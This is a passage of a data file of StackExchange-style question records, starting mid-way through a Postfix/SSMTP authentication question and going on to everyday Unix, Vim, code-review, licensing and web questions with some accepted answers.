+inet_interfaces = allmessage_size_limit=20480000virtual_mailbox_domains = a.bunch.of names.here.and example.comvirtual_mailbox_base = /var/mail/vmailvirtual_mailbox_maps = mysql:/etc/postfix/mysql_virtual_mailbox_maps.cfvirtual_gid_maps = static:5000virtual_uid_maps = static:5000virtual_minimum_uid = 5000virtual_alias_maps = mysql:/etc/postfix/mysql_virtual_alias_maps.cfvirtual_transport = lmtp:unix:private/dovecot-lmtpsmtpd_sasl_auth_enable = yessmtpd_sasl_type = dovecotsmtpd_sasl_path = private/authcontent_filter = scan:127.0.0.1:10026receive_override_options = no_address_mappingsThe LetsEncrypt certs show the correct name and a host of phones, both Android and iPhone, as well as a number of different mail clients and its webmail are all satisfied with it. I am positive the certs are in order.master.cf, though I'm not sure it is relevant:smtp      inet  n       -       -       -       -       smtpd -v -o content_filter=spamassassinsubmission inet n       -       -       -       -       smtpd  -o syslog_name=postfix/submission  -o smtpd_tls_security_level=encrypt  -o smtpd_sasl_auth_enable=yes  -o smtpd_client_restrictions=permit_sasl_authenticated,reject  -o smtpd_relay_restrictions=permit_sasl_authenticated,rejectsmtps     inet  n       -       -       -       -       smtpd  -o syslog_name=postfix/smtps  -o smtpd_tls_wrappermode=yes  -o smtpd_sasl_auth_enable=yespickup    unix  n       -       -       60      1       pickupcleanup   unix  n       -       -       -       0       cleanupqmgr      unix  n       -       n       300     1       qmgrtlsmgr    unix  -       -       -       1000?   1       tlsmgrrewrite   unix  -       -       -       -       -       trivial-rewritebounce    unix  -       -       -       -       0       bouncedefer     unix  -       -       -       -       0       bouncetrace     unix  -       -       -       -       0       bounceverify    unix  -       -       -       -       1       verifyflush     unix  n       -       -       1000?   0       flushproxymap  unix  -       -       n       -       -       proxymapproxywrite unix -       -       n       -       1       proxymapsmtp      unix  -       -       -       -       -       smtprelay     unix  -       -       -       -       -       smtpshowq     unix  n       -       -       -       -       showqerror     unix  -       -       -       -       -       errorretry     unix  -       -       -       -       -       errordiscard   unix  -       -       -       -       -       discardlocal     unix  -       n       n       -       -       localvirtual   unix  -       n       n       -       -       virtuallmtp      unix  -       -       -       -       -       lmtpanvil     unix  -       -       -       -       1       anvilscache    unix  -       -       -       -       1       scachemaildrop  unix  -       n       n       -       -       pipe  flags=DRhu user=vmail argv=/usr/bin/maildrop -d ${recipient}uucp      unix  -       n       n       -       -       pipe  flags=Fqhu user=uucp argv=uux -r -n -z -a$sender - $nexthop!rmail ($recipient)ifmail    unix  -       n       n       -       -       pipe  flags=F user=ftn argv=/usr/lib/ifmail/ifmail -r $nexthop ($recipient)bsmtp     unix  -       n       n       -       -       pipe  flags=Fq. user=bsmtp argv=/usr/lib/bsmtp/bsmtp -t$nexthop -f$sender $recipientscalemail-backend unix  -       n       n       -       2       pipe  flags=R user=scalemail argv=/usr/lib/scalemail/bin/scalemail-store ${nexthop} ${user} ${extension}mailman   unix  -       n       n       -       -       pipe  flags=FR user=list argv=/usr/lib/mailman/bin/postfix-to-mailman.py  ${nexthop} ${user}spamassassin unix -     n       n       -       -       pipe  user=spamd argv=/usr/bin/spamc -f -e /usr/sbin/sendmail -oi -f ${sender} ${recipient}scan      unix  -       -       n       -       16      smtp        -o smtp_send_xforward_command=yes127.0.0.1:10025 inet  n -       n       -       16      smtpd        -o content_filter=        -o receive_override_options=no_unknown_recipient_checks,no_header_body_checks        -o smtpd_helo_restrictions=        -o smtpd_client_restrictions=        -o smtpd_sender_restrictions=        -o smtpd_recipient_restrictions=permit_mynetworks,reject        -o mynetworks_style=host        -o smtpd_authorized_xforward_hosts=127.0.0.0/8Relevant config parts in Dovecot:# 2.2.13: /etc/dovecot/dovecot.confauth_debug = yesauth_debug_passwords = yesauth_verbose = yesmail_debug = yesmail_plugins =  quotamail_privileged_group = vmailmanagesieve_notify_capability = mailto}passdb {  args = /etc/dovecot/dovecot-sql.conf.ext  driver = sql}protocols =  imap lmtp sieveservice auth {  unix_listener /var/spool/postfix/private/auth {    group = postfix    mode = 0666    user = postfix  }}service imap-login {  inet_listener imaps {    port = 993    ssl = yes  }}service lmtp {  unix_listener /var/spool/postfix/private/dovecot-lmtp {    group = postfix    mode = 0666    user = postfix  }}ssl = requiredssl_cert = </etc/letsencrypt/live/example.com/fullchain.pemssl_key = </etc/letsencrypt//live/example.com/privkey.pemuserdb {  args = /etc/dovecot/dovecot-sql.conf.ext  driver = sql}verbose_ssl = yesprotocol lmtp {  mail_plugins =  quota sieve  postmaster_address = me@example.com}If I try to send mail from server A and it generates aforementioned error server B log this in /var/mail/mail.log:Jan 16 10:29:54 postfix/smtps/smtpd[13601]: warning: dict_nis_init: NIS domain name not set - NIS lookups disabledJan 16 10:29:54 postfix/smtps/smtpd[13601]: connect from ******.upc-h.chello.nl[62.194.***.***]Jan 16 10:29:54 dovecot: auth: Debug: auth client connected (pid=0)Jan 16 10:29:54 postfix/smtps/smtpd[13601]: warning: ******.upc-h.chello.nl[62.194.***.***]: SASL LOGIN authentication failed: Invalid authentication mechanismJan 16 10:29:54 postfix/smtps/smtpd[13601]: lost connection after AUTH from ******.upc-h.chello.nl[62.194.***.***]Jan 16 10:29:54 postfix/smtps/smtpd[13601]: disconnect from ******.upc-h.chello.nl[62.194.***.***]Same if I add AuthMechanism=LOGIN or AuthMechanism=CRAM-MD5 (which according to SSMTP's man page are the only mechanisms available) to ssmtp.conf so I removed that again.Because the internet is very insistant on using Gmail with SSMTP I tried to humor it for a bit and tried UseSTARTTLS. This then happens on server A:send-mail: Cannot open example.com:465Can't send mail: sendmail process failed with error code 1...and this is logged on server B:Jan 16 10:46:01 postfix/smtps/smtpd[14047]: warning: dict_nis_init: NIS domain name not set - NIS lookups disabledJan 16 10:46:01 postfix/smtps/smtpd[14047]: connect from ******.upc-h.chello.nl[62.194.***.***]Jan 16 10:46:12 dovecot: imap-login: Debug: SSL: elliptic curve secp384r1 will be used for ECDH and ECDHE key exchangesJan 16 10:46:12 dovecot: imap-login: Debug: SSL: elliptic curve secp384r1 will be used for ECDH and ECDHE key exchangesJan 16 10:46:12 dovecot: auth: Debug: auth client connected (pid=14049)Jan 16 10:46:12 dovecot: auth: Debug: client in: AUTH#0111#011PLAIN#011service=imap#011secured#011session=***************AAAAAAAAAAB#011lip=::1#011rip=::1#011lport=143#011rport=60112#011resp=AG40MGxAd*****************QzE3MDE= (previous base64 data may contain sensitive data)Jan 16 10:46:12 dovecot: auth-worker(14017): Debug: sql(n40l@example.com,::1): query: SELECT email as username, pwd AS password FROM addresses WHERE email = 'n40l@example.com'Jan 16 10:46:12 dovecot: auth: Debug: client passdb out: OK#0111#011user=n40l@example.comJan 16 10:46:12 dovecot: auth: Debug: master in: REQUEST#011154140673#01114049#0111#0114d206d2a85468af9af75b8538aab7485#011session_pid=14050#011request_auth_tokenJan 16 10:46:12 dovecot: auth-worker(14017): Debug: sql(n40l@example.com,::1): SELECT 5000 AS uid, 5000 as gid, email, '/var/mail/vmail/example.com/n40l' AS home FROM addresses WHERE email = 'n40l@example.com'Jan 16 10:46:12 dovecot: auth: Debug: master userdb out: USER#011154140673#011n40l@example.com#011uid=5000#011gid=5000#011email=n40l@example.com#011home=/var/mail/vmail/example.com/n40l#011auth_token=ff5b12*****************aedf315ac08eJan 16 10:46:12 dovecot: imap-login: Login: user=<n40l@example.com>, method=PLAIN, rip=::1, lip=::1, mpid=14050, secured, session=<0pDTDTNG0AAAAAAAAAAAAAAAAAAAAAAB>Jan 16 10:46:12 dovecot: imap: Debug: Loading modules from directory: /usr/lib/dovecot/modulesJan 16 10:46:12 dovecot: imap: Debug: Module loaded: /usr/lib/dovecot/modules/lib10_quota_plugin.soJan 16 10:46:12 dovecot: imap: Debug: Module loaded: /usr/lib/dovecot/modules/lib11_imap_quota_plugin.soJan 16 10:46:12 dovecot: imap: Debug: Added userdb setting: plugin/email=n40l@example.comJan 16 10:46:12 dovecot: imap(n40l@example.com): Debug: Effective uid=5000, gid=5000, home=/var/mail/vmail/example.com/n40lJan 16 10:46:12 dovecot: imap(n40l@example.com): Debug: Quota root: name=User quota backend=maildir args=Jan 16 10:46:12 dovecot: imap(n40l@example.com): Debug: Quota rule: root=User quota mailbox=* bytes=10737418240 messages=0Jan 16 10:46:12 dovecot: imap(n40l@example.com): Debug: Quota rule: root=User quota mailbox=Trash bytes=+104857600 messages=0Jan 16 10:46:12 dovecot: imap(n40l@example.com): Debug: Quota grace: root=User quota bytes=536870912 (5%)Jan 16 10:46:12 dovecot: imap(n40l@example.com): Debug: Namespace inbox: type=private, prefix=, sep=, inbox=yes, hidden=no, list=yes, subscriptions=yes location=maildir:/var/mail/vmail/example.com/n40lJan 16 10:46:12 dovecot: imap(n40l@example.com): Debug: maildir++: root=/var/mail/vmail/example.com/n40l, index=, indexpvt=, control=, inbox=/var/mail/vmail/example.com/n40l, alt=Jan 16 10:46:12 dovecot: imap(n40l@example.com): Disconnected: Logged out in=50 out=475I can log into server B's webmail without any trouble and send and receive mail for the address I'm using so the account itself is in order. I tried other accounts and they produce the same errors.I'm at a loss. SSMTP should be able to send mail through Postfix. Even with all debug and verbosity options on, I can't find the source of the problem. Any help is greatly appreciated."  , "title": "Auth error when sending mail through Postfix with SSMTP"  , "tags": "postfix;sendmail;mailx;ssmtp"  } 
{  "id": "_unix.165754"  , "question": "If there is a partition, ex.: /dev/sdb1Then how can I increase the partition (with fdisk?), if it was 10 GByte before, and there are still place to increase the partition with another 10 GByte, so sum: how can I increase the partition's size from 10 GByte to 20 GByte? Without data loss! - so re-creating the partition is not a solution. UPDATE: thought there will be a command to modify the partitions end to a new end, so yes, re-creating the partition is OK! :) the main thing is that data on the partition should stay untouched, without any copy here, than copy it back thing. :)"  , "title": "Increase a partition without data loss"  , "tags": "fdisk;sles"  } 
{  "id": "_softwareengineering.238154"  , "question": "I'm just starting to learn about DDD, and I'm trying to understand how Bounded Contexts can be reconciled with client facing API's like REST/WebServices that use DTO's.For example:  your system exposes it's API to the public with a standard WebService, with CRUD style operations for DTO objects with many fields defined via a WSDL.  You create a Bounded Context to handle your Domain's business logic, using a non-anemic domain model - so that your domain objects don't simply have a bunch of setters and getters - instead they have methods defined using vocabulary from your ubiqitious language.  How would one reconcile the difference between their web service DTO and the Bounded Context?  It seems to me this could add a huge amount of complexity, and I'm wondering if there are some well defined ways to solve this."  , "title": "DDD: How to reconcile a BoundedContext with REST/WebService DTO's?"  , "tags": "architecture;domain driven design;enterprise architecture"  , "accepted_answer": "The domain model is exposing commands and queries that can be used by the application.  So the application (more specifically, the anti-corruption component) is responsible for taking the DTOs and re-expressing them in a form that the domain understands.If you are building your application from the domain model out, this is really straight forward: your DTOs just become representations of the commands themselves, and the api becomes a series of endpoints that handle those commands on behalf of the remote client.  And the ubiquitous language ripples OUT from the domain model all the way to the clients.Trying to work inwards toward the domain model, from an api that exposes all changes as a CRUD operation... yeah, that's going to suck all the way.  Essentially, you end up writing an anti corruption layer that reviews the proposed change, and tries to deduce from it the intent of the operation in the client.  Bad news.The good news: if you are following Greg Young's recommendations on when to use DDD (ie: in the parts of your business where you have a competitive advantage), then there's a huge amount of leverage -- the value of improving the process may be high enough to offset the cost of deprecating the CRUD api.Horses for courses."  } 
{  "id": "_opensource.5504"  , "question": "Our application currently has a licence which is not compatible with AGPL. We need to use a library licensed under AGPL (currently the best one for the job and the client would like us to use it).We thought about creating a web service using this library and we would license it under AGPL. Our application would directly depend on it to function properly. We wanted to create two svn repositories, one for the main project and one for the web service AGPL. To install our application, one would need to retrieve the code from both repositories, compile and run the applications.Does that count as a derivative work? Both source codes are open and publicly available. The main project needs to keep its license and cannot be licensed under AGPL.The web service can work as-is. One can just use it without the other project, it is just kind of useless since the web service validates metadata with rules only valid for the main project. The web service has default config files valid only for the main project but they can all be replaced by something completely unrelated. The main problem is that the web service contains default files which make me think that it is potentially a derivative work and if my main project uses this web service, it will be forced to be AGPL to be able to use the web service.Maybe that makes a different but the library AGPL is only used and not changed.Does anybody have an idea if I can use this AGPL web service and keep my license on the main project? If that's not the case, I will need to create another web service with a compatible license and keep the AGPL web service for internal use only."  , "title": "Web service licensed under AGPL - distribution"  , "tags": "derivative works;agpl 3.0"  , "accepted_answer": "I assume a technical trick (like your web service idea) to avoid the intent of the license wouldn't work. But your assumption about compatibility is wrong.The EUPL (you stated in your answer that that is the licence your project is under) has statements of compatibility that work with the AGPL:EUPL v1.1 states compatibility to CeCILL v2.0, which states compatibility to GPL v2 or later and GPL v3 states compatibility to AGPL v3.EUPL v1.2 states compatibility to AGPL v3.You only need to comply with both licenses, not change your projects license.If both EUPL and AGPL licensed code were distributed together a potential licensee may discard the AGPL code if they wish to only comply with the license of the rest of the code.You may not convert AGPL to EUPL, i.e. you are not allowed to distribute a combination and tell your licensee only about the EUPL. The EUPL states how to do the conversion to other licenses via the compatibility mentioned above. What I called conversion here is an additional step that you don't need to do."  } 
{  "id": "_cogsci.17755"  , "question": "I understood that ethanol increases Golgi cell firing by inhibiting the Na+/K+ ATPase channels, which makes granule cells receive more GABAergic input from the GABA that Golgi cells relase.Some paragraph in this paper are not clear to me. It says that ethanol increased spontaneous firing frequency and depolarized the membrane potential in the perforated-patch configuration, but also that ethanol does not significantly affect firing frequency or membrane potential response to current injection.How does it work?"  , "title": "How does alcohol increase firing rate in Golgi cells?"  , "tags": "brain;alcohol"  } 
{  "id": "_webmaster.55947"  , "question": "example.com is hosted on IP address c.c.c.c at host1, no access any windows server admin at allblog.example.com is  on IP a.a.a.a at host2, full access to Linux server admin, using WordPressSo basically, I can fiddle with subdomain all I want.I can't 301 redirect because the content on host 1 is an eCommerce site that I have no server control over. Can't put WordPress on it, can't run scripts, can't do anything on the server period.Is there a method to mask all the URLs on root blog.example.com so they appear as example.com/blog/ folder?They can't actually be sent to example.com/blog/ as that doesn't exist. It just needs to look to the surfer as if they are there.Can this be done with some kind of masking or something?Will this be better for SEO as hopefully search engines will see the blog in a directory on the main domain?"  , "title": "Can domain masking be used to move content from a subdomain to a subdirectory?"  , "tags": "seo;url;subdomain;subdirectory"  } 
{  "id": "_webmaster.28739"  , "question": "Why does this website ranks so high in SERP and also has a PR 3. As the name suggests, it promotes black hat seo and the hits on the website are also very high. Why is it that such websites which openly claim to teach such black hat tactics rank so high?"  , "title": "Why do Blackhat SEO Websites Rank high?"  , "tags": "blackhat"  } 
{  "id": "_codereview.40141"  , "question": "While trying to learn more about arrays in C, I tried to write some code that did the following:Read a stream of numbers from the stdin and store them in an arrayPrint the array in the order the numbers have been stored (i.e. print the original array)Print the array in reversed orderSort and print the arrayGiven an array, search whether an entered value is present in an array. If it is present, print the index otherwise print that the value doesn't exist.It will be great if somebody could review it and let me know how to improve it.#include <stdio.h>#include <stdlib.h>static void printArray(int array[],int startIndex,int endIndex){    if(startIndex < endIndex){        while(startIndex <= endIndex){            printf( %i ,array[startIndex++]);        }    }else{        while(startIndex >= endIndex){            printf( %i ,array[startIndex--]);        }    }    printf(\\n);}static int cmpfunc(const void * a,const void * b){    if(*(int*)a > *(int*)b) return 1; else return -1;}static void sortedArray(int* originalArray){    qsort((void*)originalArray,(sizeof(originalArray)/sizeof(originalArray[0])),sizeof(originalArray[0]),cmpfunc);    return;}static int getIndex(int value,int array[],int size){    int i;    for(i = 0;i < size;i++){        if(array[i] == value){            return i;        }    }    return -1;}static void identifyTheIndices(int *arbitraryArray,int size){    char buf[10];    printf(Enter the value to search for..enter q to exit\\n);    while(fgets(buf,sizeof buf,stdin) != NULL){                if(buf[0] == 'q'){            break;        }        char *end;        int value = (int) strtol(buf,&end,0);        if(end != buf){            int currentIndex = getIndex(value,arbitraryArray,size);            if(currentIndex > -1){                printf(Found the entered value %i at index %i\\n,value,currentIndex);            }else{                printf(Entered value %i doesn't exist\\n,value);            }        }    printf(Enter the value to search for..enter q to exit\\n);    }}int main(int argc,char **argv){    int counter = 0;    if(argc > 1){        int originalArray[argc-1];        while(counter < (argc - 1)){            int currentValue = atoi(argv[counter+1]);            printf(Reading input value %i into array \\n,currentValue);            originalArray[counter] = currentValue;            counter++;              }        int size = sizeof(originalArray)/sizeof(originalArray[0]);        printf(Printing out the original array\\n);        printArray(originalArray,0,size - 1);        printf(Printing out the array in reverse\\n);        printArray(originalArray,size - 1,0);        printf(Sorting the array in ascending order\\n);        qsort((void*)originalArray,size,sizeof(originalArray[0]),cmpfunc);        printf(Printing out the sorted array\\n);        printArray(originalArray,0,size-1);        int arr[] = { 47, 71, 5, 58, 95, 22, 61, 0, 47 };        identifyTheIndices(arr,sizeof(arr)/sizeof(arr[0]));    }    return 0;}"  , "title": "Array manipulation exercise"  , "tags": "c;array"  , "accepted_answer": "I disagree with @vishram0709 about taking values from the command line.  Thereis nothing wrong with this.  It is often useful to have the option of takingvalues from the command line; you can also prompt for input values if none aregiven on the command line.The fault he pointed out is caused by not validating the input values.  Thesame error could occur if the value was input using scanf - and you saw inone of your earlier questions that scanf has its own issues.  To check theinput values you can useerrno = 0;char *end;long value = strtol(string, &end, 0);if (errno == ERANGE) {    perror(string);    exit(EXIT_FAILURE);}The input values above are now long not int because strtol converts tolong and detects ERANGE based upon the size of the maximum possible long.If you wanted to detect over-range int values you could use:char *end;long value = strtol(string, &end, 0);if ((int) value != value) {    fprintf(stderr, %s: Result too large\\n, string);    exit(EXIT_FAILURE);}Some other observations:printArray would be more normal taking a const start point and a length.static void printArray(const int array[], size_t n);and have another printReverseArray to print the reversed array.cmpfunc should return 0 if the items match.sortedArray is unused.  It is also wrong in that(sizeof(originalArray)/sizeof(originalArray[0])),gives something meaningless when originalArray is a pointer.sizeof(originalArray) gives the size of the pointer, not the array thatit points to.Later on in main, you do it right, withint size = sizeof(originalArray)/sizeof(originalArray[0]);because here originalArray is a real array, not a pointer.  But youalready had the array size (argc - 1), so this was unnecessary.the array parameter to getIndex should be const.  But the function isunreliable, as it fails for negative numbers.  To make it work you needto separate the return value from the success/failure.static int getIndex(int value, int array[], int size, int *index);add some spaces, eg after if, while, for, ; and , etc.you use the variable names array, originalArray and arbitraryArray toidentify essentially the same thing - an array.  Don't use multiple namesfor equivalent things without good reason.Your reading loopint counter = 0;...int originalArray[argc-1];while(counter < (argc - 1)){    int currentValue = atoi(argv[counter+1]);    printf(Reading input value %i into array \\n,currentValue);    originalArray[counter] = currentValue;    counter++;      }would be neater as:--argc;int array[argc];for (int i = 0; i < argc; ++i) {    int v = atoi(argv[i + 1]);    printf(Reading input value %i into array \\n, v);    array[i] = v;}shorter variable names are ok, and indeed preferable, where their scope isrestricted. "  } 
{  "id": "_vi.6523"  , "question": "I installed the YouCompleteMe(YCM) plugin and compiled it using the provided instructions, one after the other for all options excluding rust. Below is a reproduction of the commands I ran, the reason for running one after the other is that I got an error running them all together and it was easier to read when doing one by one.cd %USERPROFILE%/vimfiles/bundle/YouCompleteMepython install.py --clang-completer  python install.py --omnisharp-completerpython install.py --gocode-completerpython install.py --tern-completer These ran, then I restarted my system due to another issue(was installing driver updates) when I then started GVim it crashed. I can open vim in the shell but it doesn't recognize Vundle and none of the plugins it manages are working there. I don't know if that was the case before, I haven't been using the shell for editing on Windows 10. Please advise!Response to commentsfruglemonkey - It was not configured for use on Windows, it was sourcing the .vimrc while I had opted to use the _vimrc purely for separation of concerns(keep the .vimrc for *nix environments and _ for windows) I copied the _vimrc to .vimrc and Vundle now works, though it doesn't recognise the colour scheme in use. I presume it isn't sourcing from the vim directory that GVim is using is all. Even now that it's sourcing properly it isn't recognizing Gundo or anything. I don't think it's related to the crashing of GVim, but I can provide more information regarding this on request. "  , "title": "gvim on windows - compiled ycm plugin now crashing on start"  , "tags": "gvim;microsoft windows;plugin you complete me;crash"  } 
{  "id": "_cstheory.6713"  , "question": "Greg Egan in his fiction Dark Integers (story about two universes with two different mathematics communicating by means of proving theorems around of inconsistence in arithmetic) claims that it is possible to build general purpose computer solely on existing internet routers using only its basic functionality of packet switching (and checksum correction, to be precise).Is this possible, in principle?Update.To make the question more precise:What is an absolutely minimal set(s) of properties the router network must have that it will be possible to build general purpose computer on top of it?"  , "title": "Dark Integers: General Purpose Computations on Internet Routers"  , "tags": "computability;universal computation"  , "accepted_answer": "This can be helpful:Parasitic computing is an example of a potential technology that could be viewed simultaneously as a threat or healthy addition to the online universe. On the Internet, reliable communication is guaranteed by a standard set of protocols, used by all computers. These protocols can be exploited to compute with the communication infrastructure, transforming the Internet into a distributed computer in which servers unwittingly perform computation on behalf of a remote node. In this model, one machine forces target computers to solve a piece of a complex computational problem merely by engaging them in standard communication.In the parasitic computing site you can detailed information on how you can solve a 3-SAT problem using the checksum of TCP packets.Other useful links:Seminar report on parasitic computing by K.K.MaharanaNature's article on parasitic computing (Aug 2001)"  } 
{  "id": "_unix.261872"  , "question": "I am working on an embedded system and it uses udhcpc as its DHCP client. It seems to be running with the following parameters:/usr/share/udhcpc # ps | grep dhcp 5366 root      2432 S    udhcpc -R -b -p /var/run/udhcpc.eth0.pid -i eth0I want to change the parameters or run my own DHCP client. I searched and I think it has something to do with ifup and /etc/network/interfaces. iface eth0 inet dhcpBut I don't see a way to modify the DHCP client.I would like to know how to change the parameter to udhcpc, andif it is possible to run my own DHCP client without killing udhcpc Thanks!"  , "title": "How is udhcpc executed and how to change it?"  , "tags": "networking;dhcp;udhcpc"  , "accepted_answer": "Your system seems a lightweight version/variation of Debian, based in busybox. busybox is typically used either for recovery medium, or for embedded systems with limited resources.For modifying the parameters, you can invoke udhcpc automatically. You can change /etc/network/interfaces as:iface eth0 inet manual   pre-up /sbin/udhcpc -R -b -p /var/run/udhcpc.eth0.pid -i eth0As for running another DHCP client, you would have to install it; however you would have to switch it with udhcpc unless you have other interfaces.Bear in mind as udhcpc is part of busybox, it is just a link to a global binary that provices you a work environment, and as such, you wont save any space switching DHCP clients."  } 
{  "id": "_unix.58969"  , "question": "How and where can I check what keys have been added with ssh-add to my ssh-agent ?"  , "title": "How to list keys added to ssh-agent with ssh-add?"  , "tags": "ssh;key authentication;ssh agent"  , "accepted_answer": "Use the -l option to ssh-add to list them by fingerprint.$ ssh-add -l2048 72:...:eb /home/gert/.ssh/mykey (RSA)Or with -L to get the full key in OpenSSH format.$ ssh-add -Lssh-rsa AAAAB3NzaC1yc[...]B63SQ== /home/gert/.ssh/id_rsaThe latter format is the same as you would put them in a ~/.ssh/authorized_keys file."  } 
{  "id": "_vi.351"  , "question": "For example, if I have some JavaScript code like this:var widget = library()  .chainCall1()  .chainCall2()  .chainCall3();If I use the = command to auto indent it, it comes out looking this this:var widget = library().chainCall1().chainCall2().chainCall3();Which isn't what I want. I want it to indent the chain calls like it originally was. How can I fix this?"  , "title": "Incorrectly indents JavaScript chain calls"  , "tags": "indentation"  , "accepted_answer": "I had the same problem - for the most part the JavaScript formatting done by vim is not bad, but in examples like the one you give it fails miserably.I've been using the vim-jsbeautify plugin to fix things where the vim indentation fails, and also to clean up ugly code other people have written. It works really well, you can run it on the whole file or just a region, and it's customisable using an EditorConfig file."  } 
{  "id": "_codereview.153030"  , "question": "I'd like feedback on the class below, from the perspective of wanting to write professional code that I would be paid to create. I would appreciate comments on details such as commenting, naming and layout as well as the actual functionality.The code is a class which takes two arguments (directory and extension) and searches the directory for instances of files with the given extension. The context is of me practicing writing PHP with a view to getting a job doing so. There is the possibility of unknown unknowns implied in this question.<?php/** * Filters a directory by file-type */class DirectoryFilter{  /**   * Returns a list of files in a given directory,    * filtered by the extension of the files     *   * @param string $dirname    * @param string $extension    *    * @return array   */       public function filter(string $dirname, string $extension){        // store results in an array        $results = [];        // set path        $path = __dir__ . /$dirname;        // check directory exists        if(is_dir(($path))){            foreach(glob($path/*.*) as $filename) {                if(pathinfo($filename, PATHINFO_EXTENSION) == $extension){                    array_push($results, $filename);                }            }            return $results;        }        // Directory not found        return false;    }}$test = new DirectoryFilter();print_r ($test->filter('testdir', 'php'));"  , "title": "Directory Filter Class PHP"  , "tags": "php;object oriented;file system"  } 
{  "id": "_unix.258868"  , "question": "On Debian 8 I cannot do the following command in /lib/systemd/system:root@foo:/lib/systemd/system# grep abc *grep: invalid option -- '.' Usage: grep [OPTION]... PATTERN [FILE]... Try 'grep --help' for more information.Why is that?"  , "title": "cannot grep abc * in /lib/systemd/system on Debian 8 Jessie"  , "tags": "linux;debian"  , "accepted_answer": "grep -- abc *As steeldriver1 mentionned, on my system there is indeed a file called -.slice in that directory.This leads to some unexpected behavior since linux treats such symbols as commands.For example mv - * tab * doesn't auto complete the filename but mv -- '- * tab * does.I figured it out by reading this page which explains it nicely. http://www.cyberciti.biz/faq/linuxunix-move-file-starting-with-a-dash/"  } 
{  "id": "_codereview.106860"  , "question": "public static int lastDigit(int a) {    a = a % 10;    if (a <= 0){    a *= -1;    }    return a;}This is my solution. The course hasn't taught if else yet, so I'm wondering if there is a way to do it without the if else.public static int lastDigit(int a) {a = a % 10;return a;}The problem with this is that it will not print the last digit of a negative number as a positive."  , "title": "Return the last digit of a number"  , "tags": "java;beginner"  , "accepted_answer": "Use Math.abs() public static int lastDigit(int x) {      return Math.abs(x % 10); }"  } 
{  "id": "_unix.156854"  , "question": "I installed CentOS 7, and noticed that I have rsa and ecdsa keys generated. I deleted all of them and rebooted the machine. I got a new pair of rsa and ecdsa keys. How does Linux generate the keys? When is ssh-keygen called..? I couldn't find the configuration for this..."  , "title": "How does Linux generate ssh keys after reboot?"  , "tags": "ssh;key authentication"  } 
{  "id": "_unix.197766"  , "question": "./configure always checks whether the build environment is sane...I can't help but wonder what exactly a insane build environment is. What errors can this check raise?"  , "title": "./configure: What is an insane build environment?"  , "tags": "compiling;configure"  , "accepted_answer": "This comes from automake, specifically from its AM_SANITY_CHECK macro, which is called from AM_INIT_AUTOMAKE, which is normally called early in configure.ac. The gist of this macro is:Check that the path to the source directory doesn't contain certain unsafe characters which can be hard to properly include in shell scripts makefiles.Check that ls appears to work.Check that a new file created in the build directory is newer than the configure file. If it isn't (typically because the clock on the build system is not set correctly), the build process is likely to fail because build processes usually rely on generated files having a more recent timestamp than the source files they are generated from."  } 
{  "id": "_vi.8087"  , "question": "I can't find info in help about whether it should or shouldn't turn on highlighting, but I find it strange that I have to press n or N after * or # to turn on search highlighting.How do I enable this in vim if that's 'normal' behaviour.I've got only these lines in my vimrc related to search highlighting.if !has('nvim')    set smartcase    set hlsearch       highlight search terms    set incsearch      show search matches as you typeendif"  , "title": "Why doesn't search for word under cursor (* and #) turn on search highlighting and how do I enable it?"  , "tags": "search;highlight"  , "accepted_answer": "You can hook up the hlsearch command like so:nnoremap * :set hlsearch<CR>*nnoremap # :set hlsearch<CR>#And if you want to highlight the current word without moving the cursor you can add the N movement afterwards:nnoremap * :set hlsearch<CR>*Nnnoremap # :set hlsearch<CR>#N"  } 
{  "id": "_unix.252530"  , "question": "After an install of centos 7, I can't acces man pages :# man ls-bash: man: command not foundI tried to install it via yum # yum install man-pages... okBut again: # man ls-bash: man: command not foundWhy ?"  , "title": "How to install man pages on centos?"  , "tags": "centos;man"  , "accepted_answer": "In order to use the man command, you must also install the man package before or after the man-pages one# yum install man-pages... ok# yum install man... okNow man is installed# man lsNAME      ls - list directory contentsSYNOPSIS      ls [OPTION]... [FILE]...DESCRIPTION      List information about the FILEs (the current directory by default).  Sort entries alphabetically if none of -cftuvSUX nor --sort.      Mandatory arguments to long options are mandatory for short options too. ..."  } 
{  "id": "_codereview.118763"  , "question": "I've got a service that loads data from a databasr and it performs almost the same operations in all methods.   private async Task GetProvenances()    {        try        {            var result = await commonRepository.GetProvenances();            if (result != null)            {                provenanceContainerService.Provenances = result;                LogTo.Information(InitCacheMessages.STR_GET_PROVENANCES, result.Count);            }            else            {                LogTo.Warning(InitCacheMessages.STR_GET_PROVENANCES_FAILED);            }        }        catch (Exception ex)        {            exceptionService.HandleException(ex);        }    }    private async Task GetPkInstrumentMarkets()    {        try        {            var result = await commonRepository.GetPkInstrumentMarkets();            if (result != null)            {                pkInstrumentMarketContainerService.PkInstrumentMarkets = result;                LogTo.Information(InitCacheMessages.STR_GET_PK_INSTRUMENT_MARKETS, result.Count);            }            else            {                LogTo.Warning(InitCacheMessages.STR_GET_PK_INSTRUMENT_MARKETS_FAILED);            }        }        catch (Exception ex)        {            exceptionService.HandleException(ex);        }    }    private async Task GetPkMotivations()    {        try        {            var result = await commonRepository.GetPkMotivations();            if (result != null)            {                pkMotivationsContainerService.PkMotivations = result;                LogTo.Information(InitCacheMessages.STR_GET_PK_MOTIVATIONS, result.Count);            }            else            {                LogTo.Warning(InitCacheMessages.STR_GET_PK_MOTIVATIONS_FAILED);            }        }        catch (Exception ex)        {            exceptionService.HandleException(ex);        }    }How can I refactor this so I don't have to repeat the same code for about 30 methods?UPDATE 1Hello,I've done this way this night  protected async Task PerformInitInternal(string okMessage, string koMessage, Func<Task<IList<T>>> function)    {        try        {            var result = await function();            if (result != null)            {                Items = result;                LogTo.Information(okMessage, result.Count);            }            else            {                LogTo.Warning(koMessage);            }            isInitialized = true;        }        catch (Exception ex)        {            ExceptionService.HandleException(ex);        }    }And I call it this way  public override Task Init()    {        return PerformInitInternal(InitCacheMessages.STR_GET_COUNTERPARTS,            InitCacheMessages.STR_GET_COUNTERPARTS_FAILED, () => CommonRepository.GetCrossSplitAsync());    }Can this be ok?"  , "title": "A redundant data service"  , "tags": "c#;asynchronous"  } 
